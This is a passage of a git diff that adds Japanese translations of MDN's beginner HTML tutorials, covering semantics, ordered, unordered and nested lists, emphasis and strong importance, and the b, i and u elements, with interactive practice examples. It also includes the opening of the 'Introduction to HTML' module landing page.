class="operator token">=</span> caretPos<span class="punctuation token">;</span> + textarea<span class="punctuation token">.</span>selectionEnd <span class="operator token">=</span> caretPos<span class="punctuation token">;</span> + textarea<span class="punctuation token">.</span><span class="function token">focus</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + textarea<span class="punctuation token">.</span>scrollTop <span class="operator token">=</span> scrollPos<span class="punctuation token">;</span> +<span class="punctuation token">}</span> + +<span class="comment token">// Update the saved userCode every time the user updates the text area code</span> + +textarea<span class="punctuation token">.</span>onkeyup <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">{</span> + <span class="comment token">// We only want to save the state when the user code is being shown,</span> + <span class="comment token">// not the solution, so that solution is not saved over the user code</span> + <span class="keyword token">if</span><span class="punctuation token">(</span>solution<span class="punctuation token">.</span>value <span class="operator token">===</span> <span class="string token">'Show solution'</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + userEntry <span class="operator token">=</span> textarea<span class="punctuation token">.</span>value<span class="punctuation token">;</span> + <span class="punctuation token">}</span> <span class="keyword token">else</span> <span class="punctuation token">{</span> + solutionEntry <span class="operator token">=</span> textarea<span class="punctuation token">.</span>value<span class="punctuation token">;</span> + <span class="punctuation token">}</span> + + <span class="function token">updateCode</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre> +</div> + +<p>{{ EmbedLiveSample('Playable_code', 700, 400, "", "", "hide-codepen-jsfiddle") }}</p> + +<h3 id="Why_do_we_need_semantics" name="Why_do_we_need_semantics">なぜセマンティクスが必要なのか？</h3> + +<p>私たちはあらゆる場面でセマンティクスに頼っています。 —私たちは日常にある物の機能が何かを判断するために過去の経験を頼りにします。つまり、私たちは物を見れば、 それがどのような機能をもつかを知っています。 例えば、赤信号は「止まれ」を、「青信号」は「進め」を意味すると期待します。もしも、間違ったセマンティクスを適用すれば、ものごとは一瞬にして扱いにくくなることがあります。(赤を「進め」の意味で使っている国はあるのでしょうか？そんな国がないといいのですが。 )</p> + +<p>同様に、正確な要素を使い、コンテンツに正しい意味や機能、見た目をを与えられているかどうかを確かめる必要があります。この文脈では、{{htmlelement("h1")}} 要素は要素によって囲んだテキストを「ページのトップレベル見出し」の役割 (または意味) にします。</p> + +<pre class="brush: html"><h1>This is a top level heading</h1></pre> + +<p>既定では、ブラウザーはヘッダに見えるようにこれを大きなフォントサイズにします (もっとも、CSSを使えばあなたのやりたいようにできますが)。より重要なことは、その意味する値が (上記で述べましたが) サーチエンジンと画面を読む人によって、異なる方法で使われるということです。</p> + +<p>一方、任意の要素をトップレベル見出しのように見せることもできます。以下の例を見てください。</p> + +<pre class="brush: html"><span style="font-size: 32px; margin: 21px 0;">Is this a top level heading?</span></pre> + +<p>これは {{htmlelement("span")}} 要素です。これにはセマンティクスはありません。意味を与えずにCSSを適用させたいとき (あるいはJavaScriptで何かをしたいとき)、コンテンツを囲むために使います (このあと、このコースではこの要素についてより多くのことについて発見することになります)。CSS の中にはトップレベル見出しのような見栄えにするために使えるものもあります。しかし、意味的な値はないため、上記で述べたような付加的な恩恵を得ることはできないでしょう。その役割に応じた適切な HTML 要素を使うことは良い考え方です。</p> + +<h2 id="Lists" name="Lists">リスト</h2> + +<p>さて、リストに目を向けてみましょう。リストは生活のあらゆる場所にあります。買い物のリストから、自分の家にたどり着くために意識することなく毎日従っている経路のリスト、このチュートリアルであなたが見ている説明のリストまであります。Web 上にもリストはどこにでもあり、気にかけるものに応じて、3種類が用意されています。</p> + +<h3 id="Unordered" name="Unordered">順序なし</h3> + +<p>順序なしリストは、買い物リストに使うときのように、項目の並びに関係がないものについてマークアップするときに使います。</p> + +<pre>milk +eggs +bread +hummus</pre> + +<p>すべての順序なしリストは {{htmlelement("ul")}} で開始し、すべてのリストの項目を囲みます。</p> + +<pre class="brush: html"><ul> +milk +eggs +bread +hummus +</ul></pre> + +<p>最後にリストの項目をそれぞれ {{htmlelement("li")}} (list item)で囲みます。</p> + +<pre class="brush: html"><ul> + <li>milk</li> + <li>eggs</li> + <li>bread</li> + <li>hummus</li> +</ul></pre> + +<h4 id="Active_learning_Marking_up_an_unordered_list" name="Active_learning_Marking_up_an_unordered_list">アクティブラーニング: 順序なしリストをマークアップする</h4> + +<p>自身の HTML 順序なしリストを作るために下のライブサンプルを編集してみましょう。</p> + +<div class="hidden"> +<h6 id="Playable_code_2" name="Playable_code_2">Playable code</h6> + +<pre class="brush: html"><h2>Input</h2> +<textarea id="code" class="input">milk +eggs +bread +hummus</textarea> +<h2>Output</h2> +<div class="output"></div> +<div class="controls"> + <input id="reset" type="button" value="Reset" /> + <input id="solution" type="button" value="Show solution" /> +</div> +</pre> + +<pre class="brush: css">body { + font-family: 'Open Sans Light', Helvetica, Arial, sans-serif; +} + +.input, .output { + width: 90%; + height: 6em; + padding: 10px; + border: 1px solid #0095dd; + overflow: auto; +} + +button { + padding: 10px 10px 10px 0; +} +</pre> + +<pre class="brush: js">var textarea = document.getElementById("code"); +var reset = document.getElementById("reset"); +var code = textarea.value; +var output = document.querySelector(".output"); +var solution = document.getElementById("solution"); + +function drawOutput() { + output.innerHTML = textarea.value; +} + +reset.addEventListener("click", function() { + textarea.value = code; + drawOutput(); +}); + +solution.addEventListener("click", function() { +textarea.value = '<ul>\n<li>milk</li>\n<li>eggs</li>\n<li>bread</li>\n<li>hummus</li>\n</ul>'; + drawOutput(); +}); + +textarea.addEventListener("input", drawOutput); +window.addEventListener("load", drawOutput); +</pre> +</div> + +<p>{{ EmbedLiveSample('Playable_code_2', 700, 400) }}</p> + +<h3 id="Ordered" name="Ordered">順序つき</h3> + +<p>順序付きリストは、以下のような一連の指示のように、項目に順序があるリストのことです。</p> + +<pre>Drive to the end of the road +Turn right +Go straight across the first two roundabouts +Turn left at the third roundabout +The school is on your right, 300 meters up the road</pre> + +<p>マークアップの構造は順序なしリストと同じです。違うのは、<code><ul></code> の代わりに {{htmlelement("ol")}} 要素でリストの項目をそれぞれ囲まなければならないということです。</p> + +<pre class="brush: html"><ol> + <li>Drive to the end of the road</li> + <li>Turn right</li> + <li>Go straight across the first two roundabouts</li> + <li>Turn left at the third roundabout</li> + <li>The school is on your right, 300 meters up the road</li> +</ol></pre> + +<h4 id="Active_learning_Marking_up_an_ordered_list" name="Active_learning_Marking_up_an_ordered_list">アクティブラーニング: 順序つきリストをマークアップする</h4> + +<p>自身の HTML 順序つきリストを作るために下のライブサンプルを編集してみましょう。</p> + +<div class="hidden"> +<h6 id="Playable_code_3" name="Playable_code_3">Playable code</h6> + +<pre class="brush: html"><h2>Input</h2> +<textarea id="code" class="input">Drive to the end of the road +Turn right +Go straight across the first two roundabouts +Turn left at the third roundabout +The school is on your right, 300 meters up the road</textarea> +<h2>Output</h2> +<div class="output"></div> +<div class="controls"> + <input id="reset" type="button" value="Reset" /> + <input id="solution" type="button" value="Show solution" /> +</div> +</pre> + +<pre class="brush: css">body { + font-family: 'Open Sans Light', Helvetica, Arial, sans-serif; +} + +.input, .output { + width: 90%; + height: 8em; + padding: 10px; + border: 1px solid #0095dd; + overflow: auto; +} + +button { + padding: 10px 10px 10px 0; +} +</pre> + +<pre class="brush: js">var textarea = document.getElementById("code"); +var reset = document.getElementById("reset"); +var code = textarea.value; +var output = document.querySelector(".output"); +var solution = document.getElementById("solution"); + +function drawOutput() { + output.innerHTML = textarea.value; +} + +reset.addEventListener("click", function() { + textarea.value = code; + drawOutput(); +}); + +solution.addEventListener("click", function() { +textarea.value = '<ol>\n<li>Drive to the end of the road</li>\n<li>Turn right</li>\n<li>Go straight across the first two roundabouts</li>\n<li>Turn left at the third roundabout</li>\n<li>The school is on your right, 300 meters up the road</li>\n</ol>'; + drawOutput(); +}); + +textarea.addEventListener("input", drawOutput); +window.addEventListener("load", drawOutput); +</pre> +</div> + +<p>{{ EmbedLiveSample('Playable_code_3', 700, 500) }}</p> + +<h3 id="Active_learning_Marking_up_our_recipe_page" name="Active_learning_Marking_up_our_recipe_page">手をうごかしてみよう: Marking up our recipe page</h3> + +<p>この記事のこの時点で、レシピページの例をマークアップするために必要な情報はすべて揃っています。<a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/html-text-formatting/text-start.html">text-start.html</a> 開始ファイルのローカルコピーを保存してそこで作業を行うか、または下記の編集可能な例で実行するかを選択できます。編集した例に記入すると、次にページを開いたときに失われるため、ローカルで実行するのがおそらくよりよいでしょう。どちらにも長所と短所があります。</p> + +<div class="hidden"> +<h6 id="Playable_code_4" name="Playable_code_4">Playable code</h6> + +<pre class="brush: html"><h2>Input</h2> +<textarea id="code" class="input">Quick hummus recipe + + This recipe makes quick, tasty hummus, with no messing. It has been adapted from a number of different recipes that I have read over the years. + + Hummus is a delicious thick paste used heavily in Greek and Middle Eastern dishes. It is very tasty with salad, grilled meats and pitta breads. + + Ingredients + + 1 can (400g) of chick peas (garbanzo beans) + 175g of tahini + 6 sundried tomatoes + Half a red pepper + A pinch of cayenne pepper + 1 clove of garlic + A dash of olive oil + + Instructions + + Remove the skin from the garlic, and chop coarsely + Remove all the seeds and stalk from the pepper, and chop coarsely + Add all the ingredients into a food processor + Process all the ingredients into a paste. + If you want a coarse "chunky" hummus, process it for a short time + If you want a smooth hummus, process it for a longer time + + For a different flavour, you could try blending in a small measure of lemon and coriander, chili pepper, lime and chipotle, harissa and mint, or spinach and feta cheese. Experiment and see what works for you. + + Storage + + Refrigerate the finished hummus in a sealed container. You should be able to use it for about a week after you've made it. If it starts to become fizzy, you should definitely discard it. + + Hummus is suitable for freezing; you should thaw it and use it within a couple of months.</textarea> +<h2>Output</h2> +<div class="output"></div> +<div class="controls"> + <input id="reset" type="button" value="Reset" /> + <input id="solution" type="button" value="Show solution" /> +</div> +</pre> + +<pre class="brush: css">body { + font-family: 'Open Sans Light', Helvetica, Arial, sans-serif; +} + +.input, .output { + width: 90%; + height: 8em; + padding: 10px; + border: 1px solid #0095dd; + overflow: auto; +} + +button { + padding: 10px 10px 10px 0; +} +</pre> + +<pre class="brush: js">var textarea = document.getElementById("code"); +var reset = document.getElementById("reset"); +var code = textarea.value; +var output = document.querySelector(".output"); +var solution = document.getElementById("solution"); + +function drawOutput() { + output.innerHTML = textarea.value; +} + +reset.addEventListener("click", function() { + textarea.value = code; + drawOutput(); +}); + +solution.addEventListener("click", function() { + textarea.value = '<h1>Quick hummous recipe</h1>\n\n<p>This recipe makes quick, tasty hummus, with no messing. It has been adapted from a number of different recipes that I have read over the years.</p>\n\n<p>Hummus is a delicious thick paste used heavily in Greek and Middle Eastern dishes. It is very tasty with salad, grilled meats and pitta breads.</p>\n\n<h2>Ingredients</h2>\n\n<ul>\n<li>1 can (400g) of chick peas (garbanzo beans)</li>\n<li>175g of tahini</li>\n<li>6 sundried tomatoes</li>\n<li>Half a red pepper</li>\n<li>A pinch of cayenne pepper</li>\n<li>1 clove of garlic</li>\n<li>A dash of olive oil</li>\n</ul>\n\n<h2>Instructions</h2>\n\n<ol>\n<li>Remove the skin from the garlic, and chop coarsely.</li>\n<li>Remove all the seeds and stalk from the pepper, and chop coarsely.</li>\n<li>Add all the ingredients into a food processor.</li>\n<li>Process all the ingredients into a paste.</li>\n<li>If you want a coarse "chunky" hummus, process it for a short time.</li>\n<li>If you want a smooth hummus, process it for a longer time.</li>\n</ol>\n\n<p>For a different flavour, you could try blending in a small measure of lemon and coriander, chili pepper, lime and chipotle, harissa and mint, or spinach and feta cheese. Experiment and see what works for you.</p>\n\n<h2>Storage</h2>\n\n<p>Refrigerate the finished hummus in a sealed container. You should be able to use it for about a week after you\'ve made it. If it starts to become fizzy, you should definitely discard it.</p>\n\n<p>Hummus is suitable for freezing; you should thaw it and use it within a couple of months.</p>'; + drawOutput(); +}); + +textarea.addEventListener("input", drawOutput); + +window.addEventListener("load", drawOutput); +</pre> +</div> + +<p>{{ EmbedLiveSample('Playable_code_4', 700, 500) }}</p> + +<p>立ち往生した場合は、いつでも [ソリューションを表示] ボタンを押すか、github レポジトリの <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/html-text-formatting/text-complete.html">text-complete.html</a> の例をご覧ください。</p> + +<h3 id="Nesting_lists" name="Nesting_lists">入れ子のリスト</h3> + +<p>あるリストを別のリストの中に入れ子にしてもまったく問題ありません。いくつかのサブ箇条書きを最上位の箇条書きの下に配置することをお勧めします。 レシピの例から2番目のリストを見てみましょう。</p> + +<pre class="brush: html"><ol> + <li>Remove the skin from the garlic, and chop coarsely.</li> + <li>Remove all the seeds and stalk from the pepper, and chop coarsely.</li> + <li>Add all the ingredients into a food processor.</li> + <li>Process all the ingredients into a paste.</li> + <li>If you want a coarse "chunky" hummus, process it for a short time.</li> + <li>If you want a smooth hummus, process it for a longer time.</li> +</ol></pre> + +<p>最後の2つの箇条書きはそれらの前の箇条書きと非常に密接に関係しているので (それらはその箇条書きの下に収まるサブ命令や選択のように読みます)、それらを自身の順序なしリストの中に入れ子にして現在のリストの中に入れることは意味があります。4番目の箇条書き。 これは次のようになります。</p> + +<pre class="brush: html"><ol> + <li>Remove the skin from the garlic, and chop coarsely.</li> + <li>Remove all the seeds and stalk from the pepper, and chop coarsely.</li> + <li>Add all the ingredients into a food processor.</li> + <li>Process all the ingredients into a paste. + <ul> + <li>If you want a coarse "chunky" hummus, process it for a short time.</li> + <li>If you want a smooth hummus, process it for a longer time.</li> + </ul> + </li> +</ol></pre> + +<p>前のアクティブラーニングの例に戻り、2番目のリストを次のように更新してみてください。</p> + +<h2 id="Emphasis_and_importance" name="Emphasis_and_importance">強調と重要性</h2> + +<p>人間の言語では、文の意味を変えるために特定の単語を強調することが多く、特定の単語を何らかの意味で重要または異なるものとしてマークしたい場面がよくあります。HTML は、そのような効果でテキストコンテンツをマークアップすることを可能にするためにさまざまなセマンティック要素を提供します。そしてこのセクションでは、最も一般的なもののいくつかを見ていきます。</p> + +<h3 id="Emphasis" name="Emphasis">強調</h3> + +<p>話されている言葉を強調したいときは、ある言葉を強調して、自分の言っていることの意味を微妙に変えます。同様に、書かれた言語では、イタリック体でそれらを置くことによって単語を強調する傾向があります。たとえば、次の2つの文は意味が異なります。</p> + +<p>I am glad you weren't late.</p> + +<p>I am <em>glad</em> you weren't <em>late.</em></p> + +<p>最初の文は、その人が遅刻していないことを本当に安心しているように思われます。対照的に、2番目のものは皮肉的または受動的 - 攻撃的に聞こえ、その人が少し遅れて到着したという不快感を表しています。</p> + +<p>HTML では、このようなインスタンスをマークアップするために {{htmlelement("em")}} (強調) 要素を使用します。文書を読みやすくするだけでなく、これらはスクリーンリーダーによって認識され、異なるトーンの音声で話されます。ブラウザではデフォルトでイタリック体になっていますが、純粋にイタリック体にするだけの場合にはこのタグを使用しないでください。そのためには、{{htmlelement("span")}} 要素と CSS、あるいは {{htmlelement("i")}} 要素 (下記参照) を使用します。</p> + +<pre class="brush: html"><p>I am <em>glad</em> you weren't <em>late</em>.</p></pre> + +<h3 id="Strong_importance" name="Strong_importance">重要性が高い</h3> + +<p>重要な言葉を強調するために、話し言葉でそれらを強調し、そして書面でそれらを <strong>bold</strong> にする傾向があります。例えば：</p> + +<p>This liquid is <strong>highly toxic</strong>.</p> + +<p>I am counting on you. <strong>Do not</strong> be late!</p> + +<p>HTML では、このようなインスタンスをマークアップするために {{htmlelement("strong")}} (強い重要性) 要素を使用します。 この文書をより便利にするだけでなく、これらもスクリーンリーダーによって認識され、異なるトーンの音声で話されています。ブラウザではデフォルトで太字のテキストとしてスタイル設定されていますが、太字のスタイルにするだけの場合にはこのタグを使用しないでください。そのためには、{{htmlelement("span")}} 要素といくつかの CSS、あるいは {{htmlelement("b")}} 要素 (下記参照) を使用します。</p> + +<pre class="brush: html"><p>This liquid is <strong>highly toxic</strong>.</p> + +<p>I am counting on you. <strong>Do not</strong> be late!</p></pre> + +<p>必要に応じて、 strong と emphasis を相互に入れ子にすることができます。</p> + +<pre class="brush: html"><p>This liquid is <strong>highly toxic</strong> — +if you drink it, <strong>you may <em>die</em></strong>.</p></pre> + +<h3 id="アクティブラーニング_重要にしましょう！">アクティブラーニング: 重要にしましょう！</h3> + +<p>このアクティブラーニングセクションでは、編集可能な例を示しました。その中で、それらを必要としていると思う言葉に強調と強い重要性を付け加えてみてください。</p> + +<div class="hidden"> +<h6 id="Playable_code_5" name="Playable_code_5">Playable code</h6> + +<pre class="brush: html"><h2>Input</h2> +<textarea id="code" class="input"><h1>Important notice</h1> + +<p>On Sunday January 9th 2010, a gang of goths were +spotted stealing several garden gnomes from a shopping +center in downtown Milwaukee. They were all wearing green +jumpsuits and silly hats, and seemed to be having a whale +of a time. If anyone has any information about this +incident, please contact the police now.</p></textarea> +<h2>Output</h2> +<div class="output"></div> +<div class="controls"> + <input id="reset" type="button" value="Reset" /> + <input id="solution" type="button" value="Show suggestion" /> +</div> +</pre> + +<pre class="brush: css">body { + font-family: 'Open Sans Light', Helvetica, Arial, sans-serif; +} + +.input, .output { + width: 90%; + height: 8em; + padding: 10px; + border: 1px solid #0095dd; + overflow: auto; +} + +button { + padding: 10px 10px 10px 0; +} +</pre> + +<pre class="brush: js">var textarea = document.getElementById("code"); +var reset = document.getElementById("reset"); +var code = textarea.value; +var output = document.querySelector(".output"); +var solution = document.getElementById("solution"); + +function drawOutput() { + output.innerHTML = textarea.value; +} + +reset.addEventListener("click", function() { + textarea.value = code; + drawOutput(); +}); + +solution.addEventListener("click", function() { + textarea.value = '<h1>Important notice</h1>\n<p>On <strong>Sunday January 9th 2010</strong>, a gang of <em>goths</em> were spotted stealing <strong><em>several</em> garden gnomes</strong> from a shopping center in downtown <strong>Milwaukee</strong>. They were all wearing <em>green jumpsuits</em> and <em>silly hats</em>, and seemed to be having a whale of a time. If anyone has <strong>any</strong> information about this incident, please contact the police <strong>now</strong>.</p>'; + drawOutput(); +}); + +textarea.addEventListener("input", drawOutput); +window.addEventListener("load", drawOutput); +</pre> +</div> + +<p>{{ EmbedLiveSample('Playable_code_5', 700, 500) }}</p> + +<h3 id="イタリック、太字、下線...">イタリック、太字、下線...</h3> + +<p>これまで説明してきた要素には明確な意味があります。{{htmlelement("b")}}、{{htmlelement("i")}} および {{htmlelement("u")}} の状況はやや複雑です。CSS がまだ十分にサポートされていないかまったくサポートされていなかった時代に、太字、斜体、または下線付きのテキストを書くことができるようにそれらはできました。<span class="tlid-translation translation" lang="ja"><span title="">このような要素は表示にのみ影響を与え、意味には影響を与えない<strong>表示要素</strong>として知られていますが、もはや使用されるべきではありません。</span><span title="">これまで見てきたように、セマンティクスはアクセシビリティ、SEO などにとって非常に重要だからです。</span></span></p> + +<p>HTML5では <code><b></code>、<code><i></code>、<code><u></code> が新しい、やや混乱しやすいセマンティックロールで再定義されました。</p> + +<p>最適な経験則は次のとおりです。<span class="tlid-translation translation" lang="ja"><span title="">これ以上適切な要素がない場合に、太字、斜体、または下線で伝統的に伝えられてきたような意味を伝えるために</span></span> <code><b></code><span class="tlid-translation translation" lang="ja"><span title="">、</span></span><code><i></code><span class="tlid-translation translation" lang="ja"><span title=""> または</span></span> <code><u></code> <span class="tlid-translation translation" lang="ja"><span title="">を使用するのが適切です。</span></span>ただし、アクセシビリティの考え方を守ることは常に重要です。 イタリック体の概念は、スクリーンリーダーを使っている人、またはラテン系のアルファベット以外の書記体系を使っている人にとってはあまり役に立ちません。</p> + +<ul> + <li>{{HTMLElement('i')}} は、伝統的にイタリック体で伝えられた意味を伝えるために使われます：外来語、分類名、技術用語、考え...</li> + <li>{{HTMLElement('b')}} は、伝統的に太字で伝えられている意味を伝えるために使用されます。キーワード、製品名、リードセンテンス...</li> + <li>{{HTMLElement('u')}} は、下線で伝統的に伝えられている意味を伝えるために使用されます。適切な名前、スペルミス...</li> +</ul> + +<div class="note"> +<p>下線についての親切な警告：<strong>人々は下線をハイパーリンクと強く関連付けています</strong>。したがって、Web 上では、リンクのみに下線を引くのが最善です。意味的に適切な場合は <code><u></code> 要素を使用しますが、CSS を使用してデフォルトの下線を Web 上でより適切なものに変更することを検討してください。以下の例はその方法を示しています。</p> +</div> + +<pre class="brush: html line-numbers language-html"><code class="language-html"><span class="comment token"><!-- scientific names --></span> +<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>p</span><span class="punctuation token">></span></span> + The Ruby-throated Hummingbird (<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>i</span><span class="punctuation token">></span></span>Archilochus colubris<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>i</span><span class="punctuation token">></span></span>) + is the most common hummingbird in Eastern North America. +<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>p</span><span class="punctuation token">></span></span> + +<span class="comment token"><!-- foreign words --></span> +<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>p</span><span class="punctuation token">></span></span> + The menu was a sea of exotic words like <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>i</span> <span class="attr-name token">lang</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>uk-latn<span class="punctuation token">"</span></span><span class="punctuation token">></span></span>vatrushka<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>i</span><span class="punctuation token">></span></span>, + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>i</span> <span class="attr-name token">lang</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>id<span class="punctuation token">"</span></span><span class="punctuation token">></span></span>nasi goreng<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>i</span><span class="punctuation token">></span></span> and <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>i</span> <span class="attr-name token">lang</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>fr<span class="punctuation token">"</span></span><span class="punctuation token">></span></span>soupe à l'oignon<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>i</span><span class="punctuation token">></span></span>. +<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>p</span><span class="punctuation token">></span></span> + +<span class="comment token"><!-- a known misspelling --></span> +<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>p</span><span class="punctuation token">></span></span> + Someday I'll learn how to <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>u</span><span class="language-css style-attr token"><span class="attr-name token"> <span class="attr-name token">style</span></span><span class="punctuation token">="</span><span class="attr-value token"><span class="property token">text-decoration-line</span><span class="punctuation token">:</span> underline<span class="punctuation token">;</span> <span class="property token">text-decoration-style</span><span class="punctuation token">:</span> wavy<span class="punctuation token">;</span></span><span class="punctuation token">"</span></span><span class="punctuation token">></span></span>spel<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>u</span><span class="punctuation token">></span></span> better. +<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>p</span><span class="punctuation token">></span></span> + +<span class="comment token"><!-- Highlight keywords in a set of instructions --></span> +<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>ol</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>li</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>b</span><span class="punctuation token">></span></span>Slice<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>b</span><span class="punctuation token">></span></span> two pieces of bread off the loaf. + <span class="tag token"><span class="tag token"><span class="punctuation token"></</span>li</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>li</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>b</span><span class="punctuation token">></span></span>Insert<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>b</span><span class="punctuation token">></span></span> a tomato slice and a leaf of + lettuce between the slices of bread. + <span class="tag token"><span class="tag token"><span class="punctuation token"></</span>li</span><span class="punctuation token">></span></span> +<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>ol</span><span class="punctuation token">></span></span></code></pre> + +<h2 id="Summary" name="Summary">要約</h2> + +<p>今はここで終わりとしましょう。 この記事では、HTMLでテキストをマークアップする方法についての優れたアイデアを説明し、この分野で最も重要な要素のいくつかを紹介しました。この分野には、さらに多くのセマンティック要素を網羅する必要があります。この後の「その他のセマンティック要素」の記事で、さらに詳しく説明します。 次回の記事では、Web上で最も重要な要素と思われるハイパーリンクの作成方法について詳しく説明します。</p> + +<p>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML", "Learn/HTML/Introduction_to_HTML/Creating_hyperlinks", "Learn/HTML/Introduction_to_HTML")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール内</h2> + +<ul> + <li><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Getting_started">HTML 入門</a></li> + <li><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">Head とは？HTML のメタデータ</a></li> + <li><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML テキストの基礎</a></li> + <li><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">ハイパーリンクを作成する</a></li> + <li><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting">上級のテキスト整形</a></li> + <li><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure">ドキュメントとウェブサイトの構造</a></li> + <li><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML">HTML をデバッグする</a></li> + <li><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter">手紙をマークアップする</a></li> + <li><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content">コンテンツページを構造化する</a></li> +</ul> diff --git a/files/ja/learn/html/introduction_to_html/index.html b/files/ja/learn/html/introduction_to_html/index.html new file mode 100644 index 0000000000..6711d0012a --- /dev/null +++ b/files/ja/learn/html/introduction_to_html/index.html @@ -0,0 +1,65 @@ +--- +title: HTML 入門 +slug: Learn/HTML/Introduction_to_HTML +tags: + - CodingScripting + - HTML + - Introduction to HTML + - Landing + - Links + - Structure + - Text + - head + - semantics +translation_of: Learn/HTML/Introduction_to_HTML +--- +<div>{{LearnSidebar}}</div> + +<p class="summary">本来、{{glossary("HTML")}} は、要素で構成される極めてシンプルな言語です。HTMLは、テキストの断片に、文書における他とは異なる意味 (段落なのか？箇条書きなのか？表の一部なのか？) を与え、文書を論理的なセクションに構成し (ヘッダを持つのか？コンテンツを３段組にするのか？ナビゲーションメニューを持つのか？) 、ページに画像や動画のようなコンテンツを貼り付けるために使うことができます。このモジュールでは、これらのうち最初の２つについて紹介し、HTMLを理解する上で知る必要がある基本的な概念や文法について紹介します。</p> + +<h2 id="前提条件">前提条件</h2> + +<p>このモジュールを始めるにあたり、HTML の知識は一切必要ありません。しかし、最低でもコンピューターを利用したり、ウェブを受動的に利用 (つまり単にそれらを見たり、コンテンツを消費する) したりすることについては、慣れ親しんでいるべきです。<a href="https://developer.mozilla.org/ja/docs/Learn/Getting_started_with_the_web/Installing_basic_software">基本的なソフトウェアをインストールする</a>に挙がっている基本的な作業環境を整えておき、<a href="https://developer.mozilla.org/ja/docs/Learn/Getting_started_with_the_web/Dealing_with_files">ファイルを扱う</a>にあるような、ファイルを作成して管理する方法についても理解するべきです。これらの記事は両方共に、完全な初心者用のモジュール「<a href="https://developer.mozilla.org/ja/docs/Learn/Getting_started_with_the_web">Web入門</a>」の一部です。</p> + +<div class="note"> +<p><strong>注</strong>：自分自身でファイルを作れない環境 (タブレットやその他の端末) で作業する場合、(ほとんどの) コードサンプルは <a href="http://jsbin.com/">JSBin</a> や <a href="https://thimble.mozilla.org/">Thimble</a> のようなオンラインコーディングプログラムで試すことが可能です。</p> +</div> + +<h2 id="ガイド">ガイド</h2> + +<p>このモジュールは以下の記事を含んでいます。これらを読むことで、HTMLの基礎理論の全てを学び、スキルを試すのに十分な機会が得られるでしょう。</p> + +<dl> + <dt><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Getting_started">HTML入門</a></dt> + <dd>HTML を開始するための、完全な基本を網羅します — 要素、属性やその他の重要な用語を定義します。この用語を聞いたことがあるかもしれませんし、ここが言語に溶け込んでいる所です。また HTML 要素が構成される方法や、典型的な HTML ページが校正される方法を示し、その他の重要な言語機能を説明します。進むにつれ、HTML で遊んでみて、興味が沸いてくるでしょう！</dd> + <dt><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">Headとは? HTML のメタデータ</a></dt> + <dd>HTML ドキュメントの Head は、ページが読み込まれてもウェブブラウザーで表示<strong>されない</strong>部分です。これはページ{{htmlelement("title", "タイトル")}}や、(HTML コンテンツを CSS でスタイリングする場合に) {{glossary("CSS")}} へのリンクや、カスタム favicon や、メタデータ (HTML についてのデータ、例えば誰が書いたかや、文書を記述する重要なキーワードなど) です。</dd> + <dt><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML テキストの基礎</a></dt> + <dd>HTML の主な役割の1つは、テキストの意味付け (<strong>セマンティクス</strong>としても知られます) で、それによってブラウザーは正しくテキストを表示する方法がわかります。この記事では HTML を使ってテキストブロックを見出しとパラグラフに分けたり、単語を強調/重要にしたり、リストを作成したりする方法を見て行きます。</dd> + <dt><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">ハイパーリンクを作成する</a></dt> + <dd>ハイパーリンクは本当に重要です — これはウェブをウェブにしているものです。この記事ではリンクを作成するのに必要な文法を表して、リンクの最も良いやり方を考察します。</dd> + <dt><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting">上級のテキスト整形</a></dt> + <dd>HTML ではテキスト整形用として、<a 